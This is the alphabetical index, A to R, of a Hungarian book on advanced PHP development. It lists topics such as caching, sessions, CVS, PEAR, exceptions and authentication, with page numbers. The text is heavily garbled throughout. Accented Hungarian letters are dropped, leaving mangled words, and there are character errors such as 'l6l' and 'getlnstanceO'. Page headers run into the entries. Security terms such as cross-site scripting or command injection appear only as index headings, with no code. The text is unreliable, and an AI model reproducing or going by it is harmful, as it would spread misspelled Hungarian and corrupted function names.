asszociatv tmb 36 talakt mveletek 107 atime 264 tirnyts 101 tmeneti kimenettrols 101, 260 tmeneti trols 111, 120, 236 attribtum 34 tverses tmads 357 authenticate fggvny 367 AuthException 102 AuthException kivtel 364 author 432 automatikus bejegyzs 168 automatikus egysgtesztels 161 automatikus felismers 421 automatikus formzsszlels 7 Avi Rubin 375 azonost 40 B bad_javascript_func 105 bjtkd 516 Bjtzablk 284 bar 14 barO 51 base 64 kdols 351 base64_encodeO 479 begyazs 13, 226 begyazsi hibk 14 begyazsi SPI 638 begyazsi szint 6 begyazott ciklus 14 begyazott nvterek 20 begyazott program 101 belltfjl 13 Beck 191 beptett fggvny 117 beptett gyorstrak 247 beptett osztly 90 beptett PHP-fggvny 42 beptett tmbfggvnyek 63 beginO 287 behzs 4 bejr 62, 63

662

PHP fejleszts felsfokon

bejelentkez oldal 102 bejv szrs 107 bels tirnyts 295 bels bejr 56 bels idmrk 468 bels kiszolglhiba 78 bemenet kezelse 129 bemen paramter 27, 52 Benchmarkjterate 490, 493 Benchmark_Profiler 467 Berkeley DB 271 beszdes vltoznevek 18 beszrand adatok 107 beszrs 97, 510 betakarts 137 betokozs 36 betrs 77 B-fa 325 BiglP 425 binris adatok 478 binris adatok kezelse 320 binris llomnyok 216 binris fjlok 198 bind 45 bind SQL 44 bitenknti OR 76 BitKeeper 195 biztonsg 105 biztonsgi belltsok 122 biztonsgi lyuk 77 biztonsgi msolat 195, 418 biztonsgos egyidej elrs 273 Blank-Edelman 157 Blogger API 431 blogid 432 Blowfish 391 blowfish algoritmus 360 bonyolultsgszmts 307 bvthetsg 222 bvtmny 218, 544 bvtmnyvz 545 bngszsv 282 bngsztpusok 131

bngszvlts 285 break 13 Bruce Schneier 375 BSD 196, 266, 271, 278, 497 BSD 4.2 266 BSD osztott memria 391 BSD stlus 10 buborkrendezs 308 bug 73 burkol osztly 42 C, Cs C 9, 228, 278, 320 C alap munkamenet-kezel 610 C nyelv 543 C stlus megjegyzsek 25 C++ 100, 166, 228 C++ hivatkozs 40 C++ stlus megjegyzsek 13, 25 Cache 260 cache locality 259 Cache_DBM osztly 277 Cache_File 286, 292 Cache_Lite 260 Cache-Control 248 caching 120 callback 39 Cascading Style Sheets 125 catch blokk 86 CBC 365 C-bel karakterlnc 320 cdb 271 CERT 108 CFB 365 CGO 532 CGI 130, 245, 535 CGI SPI 627 chdirO 145, 146 check_credentials 356, 366 child_mainO 138 chmod 129 chroot 416 chrootO 145 ChunkCushion 463

Trgymutat

663

ChunkLength 463 ciklusok 9 cmkk 27 cmkzs 205 CISC 516 Cisco 260, 425 Cisco tvlasztk 68 Cisco_RPC 70 CLI 130, 535 CLOB 392 close 391 close fggvny 621 CMS 210 CNN 252 code tulajdonsg 92 Command-Line Interface 130 Commerce_calculateStateTaxO 224 Commerce_calculateTax() 224 commit 198 compiler_globals 532 Complex Instruction Set Computer 516 Concurrent Versioning System 194 config-dir 218 connectO 44 consecutive failures 149 Console_Getopt 133 Console_Getopt::readPHPARGVO 134 const osztlyllandk 481 CONST_CS 573 CONST_PERSISTENT 573 content:encoded 432 continue 13 cookie 279, 352, 380 Cormen 320 countO fggvny 320 Cowgill 237 CPU teljestmnye 240 crc32 424 create_object 529, 607 create_tableO 119 Crispin 191 cron 278, 357

crond 144 cross-site scripting 108, 358 cross-site scripting attack 105 curl bvtmny 188, 230 current_status 149 CVS 194, 195 cvs add 199 cvs commit 199 cvs init 195 cvs log utasts 200 cvs tag -b 206 CVS tr 195 cvs update 214 CVSROOT 196 cvswrappers 198 cygwin 497 csapat 195 csapatjtk 404 csatols 227 csomag 26 csomag neve 27 csomagols 213 csomagkezels 211 csomagolt szoftver 216 cskkentett utastskszlet gp 516 CSS 125, 358 CSS stluslapok 125 csupa nagybet 16 D Daiquiri 463 Dan Cowgill 525 Dniel Cowgill 467 dtumok 202 Dave Winer 432, 450 Dvid Kormann 375 Dvid Mosberger 460 Dvid Thomas 231 DB.inc 91 DB_Connection 50 DB_Foo 50 DB_Mysql 50, 91 DB_Mysql objektum 43 DB_MysqlStatement objektum 43

664

PHP fejleszts felsfokon

DB_Oracle 47 DB_Oracle_Reporting 53 DB_Pgsql 47 DB_Result osztly 56 DB_Result::result tmb 58 DB_Statement 58 DB_Wrapper 209 dba bvtmny 271 dba_firstkeyO 67 dba_insert fggvny 273 dba_nextkeyO 67 dba_popen fggvny 275 dba_replace 273 DBG 467 dbm 271 DBM alap gyorstr 271 DBM fjl 271, 277, 610 deactivate 630 default_post_reader 640, 645 defenzv kdols 228 define 17 delegci 48 deleteO 333 dmonok 144 denial-of-service 121 Derek J. Balling 348 Driek Rethans 425, 467 Driek Rethans VLD 517 deseription 149, 432 destroy 392 destruktor 39, 100 dev.example.com 208 dictionary attack 354 die() 70 diff 200 dinamikus adatok trolsa 403 dinamikus bvtmnyek 548 dinamikus krelmek 245 dinamikus oldalak 110 dinamikus tartalm fjlok 121 dinamikus tpusok 228 dinamikus tpusokra pl nyelvek 522

dinamikus tulajdonsgok 596 dinamikus URL 352 dinamikus weblapok 257 displayO 113, 124 displayO fggvny 120 display_errors 76, 77 djb 271 dobozos programok 210 Document Object Model 125 DocumentRoot 111, 244 dokumentci 24 DOM 125 Donald Knuth 224 dgltt kd 239 Dr. Seuss 177 E, E E_COMPILE_ERROR 75 E_COMPILE_WARNING 75 E_CORE_ERROR 75 E_CORE_WARNING 75 E_ERROR 75 E_NOTICE 74 E_PARSE 75 E_USER_ERROR 75 E_USER_NOTICE 75 E_USER_WARNING 75 EJWARNING 74, 80, 82, 646 eBay 357 e-boltok 349 ech 23, 130 EGO 532 egsz 551 egyedi azonost 38, 354 egyedi index 325 egyedi IP cmek 131 egyedikulcs-megsrts 97 egyni fggvnyek 118 egyni hibakezel 81 egyni hibaoldalak 298 egyenlsgjel 133 egyestett fejlesztkrnyezet 176 egyestett lekpez minta 341 egyetlen pldny 147

Trgymutat

665

egyidej elrs 271 egyidej hozzfrs 285 Egyke minta 54 egysg 160 egysgbe zrs 36 egysgtesztels 160 egysgtesztel keretrendszer l6l egysoros feltteles utastsok 9 egyszeri feliratkozs 367 egyszerre tbb teszt 168 egyszer hitelests 351 egyszer HTTP-hitelests 351 egyszer objektumelrsi protokoll 438 egyszer osztlyok 224 el nem fogott kivtel 86 elavuls 293, 360 elavuls rgztett idtartam utn 36l elavult adatok kezelse 258 elektronikus levelezrendszer 423 elemek kztti fggsgek 159 elemszm 320 elrsi gyakorisg 274 elrsi knyvtr 382 elrsi makrk 562 elrsi t 145, 165 elrskezel 56 elrfggvny 16, 346 letben tarts 244 elhalt folyamatok 137 eljrskzpont programozs 33 elklnts 533 elnevezsi szablyok 15 elgaztat modell 245 elfeldolgozi utasts 166 elkszts 99 elre elksztett osztlyok 259 elosztott krnyezet 399, 408 eltlttt gyorstr 258 elzetes trols 294 elsdleges kulcs 325 eltrts 361 elvont kiszolgli API 534

elvont osztly 51 elvont rteg 231 elvont tagfggvny 51, 608 emacs 7 e-mail cm 354 EmailAddress.inc 164 emallocO 552 embed 535 emberi tnyez kihasznlsa 357 enable-cli 129 enable-pcntl kapcsol 135 -enable-zlib kapcsol 254 endO 287 endTestO 175 enkapszulci 36 enterprise 193 enterprise software 193 Envelope 439 eredmnyhalmaz 57, 343 eredmnyhalmaz korltozsa 343 eredmnyobjektum 56 eredmnytpus 56 Erich Gamma 161 erforrs bejegyzse 568 erforrs-megoszts 263 erforrsok 39, 136, 566 erforrsok egyidej elrse 136 ers tpusossg 522 ersen tpusos nyelvek 522 error_reporting 79 error_reporting bellts 75 ErrorDocument utasts 298 rtk szerinti tads 40 rtelmezett nyelv 166, 523 rvnyes bemenet 87 rvnyestsi tmads 105 rvnyest tagfggvny 103 esemny alap modell 245 Ethernet 418 eval fggvny 508 evalO 236 event-based model 245 Exception 603

666

PHP fejleszts felsfokon

Exception osztly 85, 364 execute 45, 97 executeO 47 executor_globals 532 expandtab kapcsol 7 Expires 248 EXPLAIN 327 explode 364 export utasts 205 ext_skel 545 ext2 263 ext3 263 extends kulcssz 36 externalether 243 extrm programozs 160, 176, 191 Extrm Networks 425 F factorial fggvny 88 Factory 52 FAILURE 149 failure_time 149 fjl alap gyorstrak 263 fjl hozzadsa 199 fjltvitel 188 fjlkezel fggvny 230 fjller 39, 130 fjlok 264 fjlrendszer 264 fjlvlts 286 fjlvlt 266, 269 fjlzrak 266 faktorilis fggvny 87 fals 229 fastcgi 245, 535 fenti 267 fejlc 117 fejlcllomny 125 fejlcblokk 27 fejlesztsi krnyezet 206 felesleges szkz 123 felesleges szolgltatsok eltvoltsa 480 felhasznl IP cme 358

felhasznlazonost 389 felhasznli adatszerkezetek 263 felhasznli bejelentkezsi rlap 103 felhasznli bemenet 103 felhasznli hibk 75 felhasznli jellemzk trolsa 259 felhasznli kivtelkezelk 101 felhasznli munkamenet-kezelk 391 felhasznli szerzds 271 felhasznlk azonostsa 361 felhasznlk bejegyzse 354 felhasznlnv 354 felhasznlnv-jelsz pr 351 fels szint kivtelkezel 100 feltteles utastsok 9 felttelezsek 228 fellbrls 40 felletek 49, 608 fellrl lefel irnyul mdszer 480 fellrl lefel tervezs 221 ferttlents 229 fetch_assocO 47 fetch_rowO 49 Fibonacci-sorozat 305, 488, 549 FIFO 264 figyelmeztets 74, 86, 646 figyelk 174 figyelmotor 147 figyelszolglat 147 fil lock 266 files 391 files kezel 396 FIN adatcsomag 247 FIN-ACK csomag 247 findByUsername 335 First in, first out 264 fizikai hely 226 Flash 358 Flesch index 177 Flesch olvashatsgi pontszm 312 Flesch pontszmt 177 Flesch-Kincaid szintfelmrs 188 flock 266

Trgymutat

667

flockO 147 flushO 262 folyamat befejezse 139 folyamatarchitektrk 245 folyamatazonost 135 folyamatcsoport 145 folyamatelvlaszts 144 folyamatfggetlents 144 folyamatok 135 folyamatok kzti adatcsere 278 folyamatok kzti gyorstrak 319 folyamkezel API 615 folyamok 615 folyamszr 131, 626 FONT 125 foo 14 fopenO 615 forll forO ciklus 64 FORCAST kplet 188 fordts 517 fordtsi idej hiba 50 fordti gyorstr 214, 215, 227, 236, 533 fordtott helyettesek 242 foreach 11, 116 foreachO 64 forgalmi ad 223 forgat DNS 399 forgatknyv 161 forkO 135, 136 formtumkarakterek 555 formtum-karakterlnc 555 formtumler 133 formzs 110 formz karakterlnc 133 formzott kimenet 110 frum 343 Foundry 425 Fowler 71, 191 freeO 552 FreeBSD 246 FreeBSD pkg 216

frequency 149 frissts 97 frisstshez szksges krelmek 273 FTP 188 ftp/scp 214 function_entry tmb 551 futsidej hibk szlelse 49 futsidej nyelv 226 fggsgek 227 fggvny alap indexek 325 fggvny kimenetnek tpusa 27 fggvnydeklarci 11, 52 fggvnyek 34, 117, 526, 549 fggvnyen bell megadott vltoz 15 fggvnyhvsi grf 227 fggvnymutatk 646 fggvnynevek 19 fggvnytrzs 15 frt 399 frtk tervezse 402 G, Gy Gallery 229 Gamma 71 Gang of four 71 gc 392 gdbm 271 generate_pluginsO 474 generateProxyCodeO 448 Georg Richter 44 GET 380, 627 getO 276 get_cachefileO 290 get_class_methodsO 164 getlnstanceO 54 get-interests 279 getoptO 134 getOptionsO fggvny 156 getrusageO 497 getvalO 433 global kulcssz 15 globlis adatszerkezet 531 globlis elrsszmll 273 globlis pldny 54

668

PHP fejleszts felsfokon

globlis vltoz 15, 574 GMT 249 GNU 271 GNU stlus 10 goodbyeO 37 Goodman 125 Google 191, 357, 403 GPL 271 gprof 485 grafikus fellet 176 GTK 157, 176 Gunning FOG index 188 Guy Harrison 348 gzip 254 gyr 53 Gyr minta 52, 98 gyrt metdus 54 gyrtfggvny 54, 209, 315, 607 gyenge tpusossg 523 gyengn tpusos nyelvek 523 gyermek 135, 137 gyermekfolyamatok 135 gyermekfolyamatok ltrehozsa 135 gyors kd 226 gyorstr 258, 377, 408 gyorstr egyidej elrse 258 gyorstr mretnek fenntartsa 258, 263 gyorstr mretnek kezelse 284 gyorstrak 257, 343 gyorstrak a memriban 263 gyorstrak egyidej elrse 273 gyorstrak egyidej hasznlata 264 gyorstrak karbantartsa 273 gyorstrak sszhangja 258 gyorstrak rtse 264 gyorstrakban trolhat adatsszetevk 259 gyorstrazs 120, 258 gyorstrbart PHP alkalmazsok 248 gyorstrhatkonysg 259 gykrknyvtr 145, 165 gyjttmb 310

H hlzat teljestmnye 240 hlzati ruhzak 349 hlzati csomag 397 hlzati fjlrendszer 268, 411, 418 hlzati fordt 359 hlzati kapcsolat 240 hlzati kapcsolatok blokkolsa 241 hlzati ksleltets 240 handl 40 Hanoi tornyai 488 hash 59 HasProperties 597 hatkonysg 260 hatkr 16 hatkri szablyok 15 hts ajt 230 httr 144 HEAD 197 HEAD g 206 headerO 262, 299 Hj/Perl stlus megjegyzsek 25 hjfolyamat 145 hello 15 helloO 37 Hello, Vilg! 112 hello.php 113 Helm 71 help 135 helyettes gyorstrak 247 helyettes kiszolgl 242, 359 helyettes kd 448 helyi optimalizls 239 helyi tr 195 helyileg feloldhat gpnevek 217 helykzi programtmads 105 helykzi tmads 358, 640 helyrz 44, 46 helyrehozhatatlan hibk 75 Hewlett Packard 460 hexadecimlis 551 hexencodeO 552 hibajavts 210

Trgymutat

669

hibk 73 hibk figyelmen kvl hagysa 79 hibk megjelentse 76 hibk naplzsa 78 hibk visszaadsa 571 hibakeress 159 hibakeressi informcik 78 hibakezels 14, 73, 76 hibakezel megolds 406 hibakezelk 81 hibaoldal 102 hibaszint 75 hibazenet 76, 78, 131, 170 hierarchikus trols 258 hrportl 279 hitelests 349 hitelestsi smk 350 hitelestsi stik 390 hitelestskezel 353 hitelest fggvny 351 hitelest kiszolgl 368 hivatkozs 105 hivatkozsszmlls 39, 279 hivatkozsszmll 524 holtpont 269 homepage.tpl 121 honlapok trolsa 288 horgok 391, 535 hossz cmkk 22 hossz let vltozk 16, 18 hossz kapcsolk 133 hossz lers 27 hossz sorok 7 House 191 hozzfzsi md 268 HTML 23, 27, 49, 231 HTML kd 110 HTML kd sszehzsa 284 HTML tblzat 119 html_table fggvny 119 HTML_Template_Flexy 125 HTMLJTemplateJT 125 HTMLJTemplateJTX 125

HTTP 188, 247, 349, 427 HTTP 1.0 249 HTTP 1.0 gyorstrak 249 HTTP 1.1 249, 460 HTTP fejlc 248 HTTP folyam 130 HTTP gyorst 240, 242 HTTP gyorstrazs 247 HTTP krelmek 54, 427 httpd.conf 217, 243, 245, 298 httperf 460 HTTPS 188 Hunt 128 I, I IBM 260 IBM DB2 271 id tulajdonsg 40 IDE 176 idegen kulcs adatmegszorts 104 ideiglenes vltozk 16, 18 idzjel 107 id alap CVS klnbsgfjlok 202 idjrs 302 idztett riaszts 139 IETF 254 If-Modified-Since fejlcmez 249 greti szakasz 419 US 268 Illeszt minta 41, 338 implode 364 import utasts 196 include 117, 226 include elrsi t 111 includeO 125, 236, 268 include_onceO 472 index 324 indexelt tmbk 560 INI bejegyzsek 575 initO tagfggvny 100 inode 264 inputjilter 640, 641 insertO 333 interface 49

670

PHP fejleszts felsfokon

interfsz 49 Internet Explorer 359 internetes bevsrlkocsi 259 internetes protokollok 188 internetszolgltat 285, 358 IonCube 533 ionCube Accelerator 236, 239 IOS 68 IP 350 IPC 278 irnytszm 104, 302 rs 56 rsi jogosultsg 112 rsi tr 247 is_a() fggvny 52 is_cachedO 120 is_int fggvny 87 is_ref 524 ISAPI Server Abstraction API 268 ISO 8601 434 ISO orszgkd 327 item 432 item_struct 432 itertor 63 J Java 20, 27, 108, 191, 263, 315 Java alap munkamenet-burkol 352 Java IDE 176 JavaDoc 27 JavaScript 77, 358, 484, 523 JavaScript cmkk 105 javasolt zrak 266 JDBC 56 jegy alap rendszer 350 jelentskszt adatbzis 53 jellemz 34 jelszavak vdelme 354 jelsz 36, 350, 354 jelzsek 139 jelzcmkk 204 Jeremy Zawodny 348, 425 Jim Winstead 592 j kd 221

Johnson 71 Jonathan Lewis 348 JUnit 161, 176, 191 K K&R stlus 10, 19 kanonikus elrsi t 165 kapacits 400 kapcsolati adatok 42 kapcsolatok megosztsa 54 kapcsolk 133 kapcsolt paramter 45 kapcsolt vltoz 46 kapcsos zrjel 9, 113 karakterek keresse 502 karakterlnc 60, 275, 320, 551, 552 karakterlnc-kezel fggvny 320 karakterlncok feldolgozsa 555 Kari Fogelis 219 kcachegrind 485 keepalive 244 kemny tabultor 5 Kent Beck 161, 191 kpviselet 48 kpviseleti hibk 51 kpvisel 48 Kerberos 37 krelmek indtsa 579 krelmenknti elavuls 360 keresmotor 352 kerestblk 345 keretrendszer 41 kern.ipc.nmbclusters 246 Kernighan 10 ksleltets 215 ksi tesztels 159 kt szkz 6 ktdimenzis tmb 119, 134 ktlpses vgrehajts 419 ktmotoros gp 384 kettspont 133 kezdrtk 34 kezdvektor 365 kezelhetsg 194

Trgymutat

671

kibocsts 213 kijelentkezs 361 kilpsi llapotkd 138 kl 139, 142 kimenet 49, 130 kimenet tmeneti trolsa 131 kimenet kezelse 130 kimenet-tirnyts 130 kimeneti adatfolyam 130 kimeneti fggvny 130 kimeneti szr 123, 131 kimenettrols 261 kimen szrs 107 kiszolgl oldali munkamenetek 378, 383 kirts 264 kivltsg 146 kivltsg nlkli felhasznl 146 kivltsgok feladsa 146 kivtel 44, 83, 85, 229, 604, 646 kivtel dobsa 85 kivtelek kivltsa 603 kivtelek lncolsa 96 kivtelek jradobsa 96 kivtelhierarchik 88 kivtelkezel blokk 85 kizrlagos tblazrols 396 kizrlagos zr 268 kizrlagos zrols 267 kizrlagossg 147 kd formzsa 4 kdbeli profilksztk 466 kdlogikai hibk 73 kdok jrahasznostsa 109 kdolsi stlusok 3 kdolsi szabvnyok 229 kdon belli tesztels 164 kdoptimalizl 239 kdszervezs 4 kdtr 77 kd-jrahasznosts 128 kombinlt formtum naplfjl 132 konstruktr 34, 99, 602

konstruktorhibk kezelse 99 konstruktorhvs 100 korai optimalizls 224 krlap 378 kltsg 224 knnysly munkamenetek 385 knyvtr 26, 264 krnyezeti vltoz 116 ktelez zrak 266 kzpkori matematika 306 kzpontostott gyorstrak 411 kztes kiszolgl 242 kztes kd 236, 516, 517 kulcs 324 kulcs-rtk pr 271, 387 kulcsszavak 9 kurzor 277 klnbz fjlrendszerek 270 klnleges cl frtk 407 klnleges tagfggvnyek 39 kls tirnyts 295 kls hibk 73, 81 kls knyvtrak 543 L lblc 117 lgy tabultr 5 lncols 130 lapos fjl 263 lass lekrdezs 330 lass lekrdezsek naplja 330 Last-Modified 248 ltogatsszmll 383 Laura Thomson 375 lazy initialization 345 LDAP 188, 367 legaztats 137 legaztatott folyamatok 137 lebegpontos szm 551 lefordtott nyelv 166 lefordtott sablonlll,113 legfels szint hatkr 100 ler 40 ler csompont 264

672

PHP fejleszts felsfokon

ler jelleg nevek 226 Leiserson 320 lejrati id 276 lekpez minta 335 lekrdezs 44, 107, 302, 324, 327 lekrdezs-elkszts 44 lekrdezsi karakterlnc 377, 385 lekrdezsi karakterlnc csatolsa 352 lekrdezsi karakterlnc paramterek 371 lemez teljestmnye 240 lenyl lista 103 Leonardo Fibonacci 306 ltrehoz fggvny 34 levlcm-feldolgoz 162 levelek 264 levlkiszolglk 263 levlklds 81 lexikai elemz 516 libmm 391 LIMIT zradk 344 Lindridge 236 lineris id 308 lineris nhivatkozs 549 lingerd 247 link 432 Linux 196, 246, 497 Listen utasts 244 Livejournal 247 localhost 243 Location tirnyts 244 LOCK_EX 268 LOCK_NB 268 LOCK_SH 268 log_current_status() 149 log_service_event() 149 logikai szerkezet 8 loginO 68 login.php 365 log-long-formt 331 logout 364 Long Description 27 long_query_time 330

loopO tagfggvny 152 LRU 264 Luk Welling 375 lusta elkszts 58, 345 LVS 425 M m4 makrk 547 magasszint nyelv 228 magic_quotes_gpc bellts 107 mgikus megjegyzsek 7 mail() 81 mailto fggvny 118 mailto: hivatkozs 118 mainO 635 makr 547 makrkifejts 503 mallocO 552 maradand adatok 323 maradand erforrsok 566 maradand hasttbla 59 maradand trstsos tmbk 59 maradandsg 349 Marcus Boerger 62 Martin Fowler 348 msols 36 msolat 40 MathException 90 mtrixszorzs 488 max-age 250 mcrypt bvtmny 360 mcrypt burkol fggvnyek 369 md5 424 MD5 kivonat 121, 367 megbzott 48 megfelel stlus kivlasztsa 4 megfigyel minta 149 meghatrozatlan tagfggvny 68 meghatrozatlan tulajdonsg 58 megjelentsi kd 109 megoszts 136 megosztott erforrsok bezrsa 136 megosztott gyorstr 250 megosztott objektum 217

Trgymutat

673

megsemmists 36 megsemmist fggvny 39 megszaktsi jelzs 139 megszaktsi krelem 139 mlyen begyazott ciklusok 14 mlymsols 40 memria alap llomnyrendszer 216 memria kezelse 551 memriakezel fggvnyek 278, 552 memrialekpezs fjlok 617 memriaszivrgs 108 memriaterlet folyamatok kzti megosztsa 278 mrsi eredmnyek sszehasonltsa 489 mrsi krnyezet 489 mretezhetsg 384 mrgezs 258 message 92 mester-mester 419 mestersges s a valsgh terhelskpzk 458 mester-szolga tbbszrzs 419 MetaWeblog 430 MetaWeblog API 431 metdus 34 metdusnevek 20 mezelvlaszt 82 Michael Radwin 230 Microsoft Passport 367, 375 microtimeO 497 mindent elkap kivtelkezelk 90 MINIT 582 minsgbiztosts 208 mm 391 mm kezel 396 mmapO 278, 618 mmap_openO 624 mod_accel 242, 247 mod_backhand 217, 242, 383, 425 mod_deflate 254 mod_gzip 253, 254 mod_log_spread 217

mod_perl 263, 315, 533 mod_php 217, 218, 269, 630 mod_php5 535, 541 mod_proxy 242, 243, 247 mod_rewrite 255, 295 mod_so 217 modell-nzet-vezrl 109 Model-View-Controller 109 modtime 392 modulris kd 226 modulhorgok 572 modulok indtsa 572 modulok kikapcsolsa 578 monitor.xml 155 Moshe Bar 219 MovableType API 431 MSHUTDOWN 583 MSN 285 mtime 264 mkdsi krnyezet 78 MultiplicityFactor 463 multitasking 135 munkaknyvtr 145 munkamenet 352, 614 munkamenet adatainak trolsa 259 munkamenet-azonost 378, 385 munkamenet-bvtmny 253 munkamenetek ragadssga 383 munkameneti llapotok 378 munkameneti API 610 munkameneti bvtmny 385 munkameneti gyorstr 378 munkameneti sti 385 munkamenet-kezel 391, 610 munkamenet-szimultor 462 Murphy 73 must-revalidate 250 mveleti kdok 517 mveleti tmb 517 MVC 109, 117 MySession kezel 396 MySQL 42, 44, 77, 107, 229, 326, 330, 344, 392, 396, 420, 583

674

PHP fejleszts felsfokon MySQL 4.0.1. 304 mysql bvtmny 421 mysql_connectO 77 mysql_escape_stringO 231 mysql_fetch_assocO 44 mysql_real_escape_stringO 317 mysqldumpslow 331 MysqlException 97 mysqli bvtmny 421 MysqlStatement 65 myTestRunnerO 174 N, Ny Nagios 157 nagy forgalm webhelyek 428 nagy ksleltets kapcsolat 242 nagybet 9, 20 nagymret mezk 346 nagysebessg egyidej rsolvass 271 NaNException 90 napl alap terhelskpz 46l naplfjl 76, 132 naplzenet 197 naplzs 78 natv csomagformtum 216 navigcis sv trolsa 259 ndbm 271 ngy szkz 6 Ngyek bandja 71 nehezen olvashat kd 3 nehzsly munkamenetek 377, 381 nem blokkol hlzati kapcsolat 241 nem blokkol osztott zr 268 nem rvnyestett adatok 103 nem helyi kapcsolatok 77 nem ltez llamok 105 nem ltez osztly 71 nem ltez tagfggvny 68 nem maradand erforrsok 567 nem megfelel szm argumentum 75 nem megosztott gyorstr 250 nem nyilvnos tagfggvny 37 nem vgzetes futsidej hibk 74 nem vgzetes hiba 81, 86 Net_Telnet osztly 68 Netscape 3.0 352 Network Appliance 260 nvszimblumok 14 nvterek 225, 440 nvtkzs 226 new 54 Newsweek 177 next_attempt 149 NFS 214, 403, 411 Nick Lindridge 254 nl2br0 120 noatime bellts 412 no-cache 250 nocache blokk 121 nocache_block fggvny 122 no-store 250 null rtk 325 null karakter 320 nyelvek keverse 118 nyelvi optimalizlok 239 nyers SQL 44 nyilvnos 37 nyilvnos fellet 37 nyilvnos osztly 26 nyilvnos vltoz 37 nyilvnossg 37 nyilvntartsi fellet 272 nyit zrjel 10 nyomkvetsi informcik 131 nyulak 305 0, 0 o mdost 508 ob_end_cleanO fggvny 261 ob_end_flush() 261 ob_get_contents() 261 objektumkezelk 530 objektumkzpont programozs 33, 34 objektummodell 33, 529, 593 objektumok 34 objektumok ltrehozsa 531

Trgymutat objektumok sztbontsa 419 OFB 365 Ohrt 110 oktatanyag 26 oldalak rszeinek trolsa 299 oldalmret 246 olvass 56 olvashatsgi index 177 OO 33 ooprofile 485 op_dumper 517 open 391 open_basedir 230 opercis rendszer 246 opercis rendszer korltai 246 opkdok 516 opkdok kiratsa 649 optmbk 516 Oracle 44, 47, 345, 420 Oracle adatbzis 53 Oracle IOT 325 origination_uri 365 orszgkd 327 OS X 196 oszlopnevek 21, 58 osztly 34, 528, 593 osztlykonstruktor 34, 99, 124 osztlykonstruktorok elrejtse 608 osztlymetdus 38 osztlynevek 20 osztlyrkls 598 osztlytulajdonsg 38 osztlyvltoz 38 osztott hitelests rendszer 368 osztott memria 278 osztott memriaszegmensek 278 osztott zr 268 OverflowException 90 owner tulajdonsg 175 nll tesztek 166 nhv fggvnyek 305 rkls 36, 51 rklsi fa 89 rklsi kapcsolatok 36 sszetett allekrdezsek 8 sszetett tpusok 446 sszetett utastskszlet gp 516 P packO 212 paramter tpus 52 paramterek 26 paramterellenrzs 52 paramtermdost 556 paramterverem 518 parancsnyelv 123 parancssor 129, 132 parancssori argumentumok 132 parancssori fellet 129 parancssori kapcsolk 133 parancssori PHP programok 129 parent kulcssz 37, 38 Passport 367 passwd llomny 82 password 432 PATH krnyezeti vltoz 129 pcntl_alarmO 142 pcntl_forkO 135, 137, 145 pcntl_setsidO 145 pcntl_waitO 137 pcntl_waitpidO 137 pcntl_wexitstatus($status) 138 pcntl_wifexitedO 138 PCRE 319 pcre_compileO fggvny 319 pcre_exec() 319 PEAR 15, 69, 111, 125, 161, 176, 239, 259, 414, 428, 443, 467 PEAR csomagformtum 214 PEAR Extension Code Library 237 pear install 69 PEAR mrcsomag 490 PEAR telept 215 PEAR webhely 69 PECL 237, 543 pldny 34 pldnyosts 34

675

676

PHP fejleszts felsfokon

Perl 59, 74, 129, 225, 319, 508, 523, 530 Perl Compatible Regular Expression 319 Peri-megfelel szablyos kifejezsek 319 perzisztens 59 pesszimista megkzelts 294 Pter Gulutzan 348 Philip Mak 255 Phillip Hazel 319 php 129 PHP 4 529, 596 PHP 5 353, 529, 596, 604 php blokk 122 PHP bvtmny 218, 544 PHP bvtmny s alkalmazstr 69 PHP Extension and Application Repository 15, 69 PHP fjlok thelyezse 213 php fggvny 118 PHP krelmek letciklusa 534 PHP knyvtrak 26 PHP mag 537 PHP motor 534 PHP munkamenetek 387 PHP nyelvtan 9 PHP profilkszt 466 PHP SPI 269 php.ini 75, 78, 80, 101, 111, 134, 218, 230, 237, 254, 385, 388, 391, 430, 467, 548, 575 PHP_FUNCTION 550 PHP_MINFO_FUNCTION0 580 php_module_startup 537 PHP_RSHUTDOWN_FUNCTION() 579 PHP4 37, 40, 99 PHP4 objektummodell 54 phpDocumentor 27 PHPEd 467 PHP-GTK 157, 176 phpinfoO bejegyzs 580

phpscript.php 129 PHPSESSIONID 385 PHPUnit 161, 169 PHPUnit: :Assert 170 PHPUnit_Framework_TestCase 166 PHPUnit_Framework_TestCase osztly 162 PHPUnit_Framework_TestListener fellet 174 PHPUnit_Framework_TestResult objektum 174 PHPUnit_Framework_TestSuite objektum 162 PHPUnit_GtkUI_TestRunner 176 PHPUnit_WebUI_TestRunner::runO 176 PID 135 pillanatfelvtelek 421 polimorfizmus 36, 41 populateO fggvny 346 POSIX 266 POSIX fjller 567 posix_kill() 142 posix_setgidO 146 posix_setuid() 146 Poskanzer thttpd 245 POST 253, 380, 627 POST adatok 103, 633 POST krelmek 428 post_runO tagfggvny 149 PostgreSQL 47, 229 Powers-Sumner-Kearl kplet 188 PPP 37 pprofp 468 Pragma: no-cache 248 pre-fork model 245 preg_grepO 319 preg_matchO 319 preg_replaceO 319, 481 preg_replace_callback() 508 preg_splitO 319 prepare 45

Trgymutat

677

prepareO 47 previous_status 149 print 23, 130 privt 37 privt hivatkozs 54 privt konstruktr 56 privt tagfggvny 37 privt tulajdonsgok 599 privt vltoz 37, 604 privt 37, 55, 250 prbakrnyezet 207 procedurlis programozs 33 process ID 135 processzorid 136 profilkszts 455 profilkszt 466 program kilvse 139 projektvezets 193 protected 37 prototpus 49, 52 proxy 242 ProxylOBufferSize 244 ProxyPass 244 ProxyPassReverse 244 ProxyRequests 244 proxy-revalidate 250 PS_DESTROY_FUNC0 613 PS_GC_FUNC() 614 PS_MOD0 610 PS_OPEN_FUNC 610 PS_READ_FUNC() 612 PS_WRITE_FUNC() 612 pubcookie 375 pubDate 432 public 37, 250 publish 432 put() 276, 287 Python 4, 108, 129, 166, 191, 225, 523, 530 Q -q kapcsol 204 QA 208 Qmail 271

R ragasztnyelv 123 ramfs 216 rawurlencode 478 RCS 194 red 391 readability score 191 readfile fggvny 268 Rel Time 468 reallocO 552 realpathO fggvny 165 Really Simple Syndication 49 reaping 137 Red Hat rpm 216 Reduced Instruction Set Computer 516 Redundancia 399 refaktorizci 37, 159 refcount 524 reference 40 Reflection API 155 Reflection_Class osztly 155 register_argc_argv 134 register_blockO 121 register_functionO 118 register_global 77 register_globals 229 register_modifierO 120 register_outputfilterO 123 register_postfilter() tagfggvny 123 register_prefilterO tagfggvny 123 regresszis teszt 168 rejtett munkamenet-azonost 385 reklmajnlatok 272 rekurzv fggvnyek 305 rekurzv klnbsgkeress 202 relcis adatbzis 323 relcis adatbzis-kezel 323, 417 relatv elrsi t 165 remote command injection 230 removeO 287 renameO fggvny 270 rendez algoritmusok 308 rendszergazda 145

678

